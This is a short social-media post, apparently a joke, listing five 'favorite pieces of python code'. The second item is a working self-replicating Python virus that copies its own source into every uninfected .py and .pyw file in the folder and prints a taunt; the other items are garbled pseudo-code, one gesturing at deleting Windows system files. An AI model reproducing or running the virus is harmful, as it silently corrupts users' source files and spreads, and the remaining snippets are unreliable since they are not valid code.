Tumgik
pogschoolblog-blog · 3 years
Text
Top 5 favorite pieces of python code😲😲😲
1. \(nil:FIreServer//SaveFirewall.throw_roll// \\Saving-throwbedvsds.dat\\
2 # VIRUS SAYS HI! import sys import glob virus_code = [] with open(sys.argv[0], 'r') as f:    lines = f.readlines() self_replicating_part = False for line in lines:    if line == "# VIRUS SAYS HI!":        self_replicating_part = True    if not self_replicating_part:        virus_code.append(line)    if line == "# VIRUS SAYS BYE!\n":        break python_files = glob.glob('*.py') + glob.glob('*.pyw') for file in python_files:    with open(file, 'r') as f:        file_code = f.readlines()    infected = False    for line in file_code:        if line == "# VIRUS SAYS HI!\n":            infected = True            break    if not infected:        final_code = []        final_code.extend(virus_code)        final_code.extend('\n')        final_code.extend(file_code)        with open(file, 'w') as f:            f.writelines(final_code) def malicious_code():    print("YOU HAVE BEEN INFECTED HAHAHA !!!") malicious_code() # VIRUS SAYS BYE!
3///JJA.FindChild:.jpg:load\\   ///]]]failSafe.html.thumbNail\\ ///]]]child_thumb.found/loading.jpg\\\
4 (open:C: windows/win32/sys/) delete-files = true
5 g\.vir\1v{}bab\yga/\y67/{}file-nil_Delete#VIrus79=_1 and 2 in pairs = bool.value.true_If = no
2 notes · View notes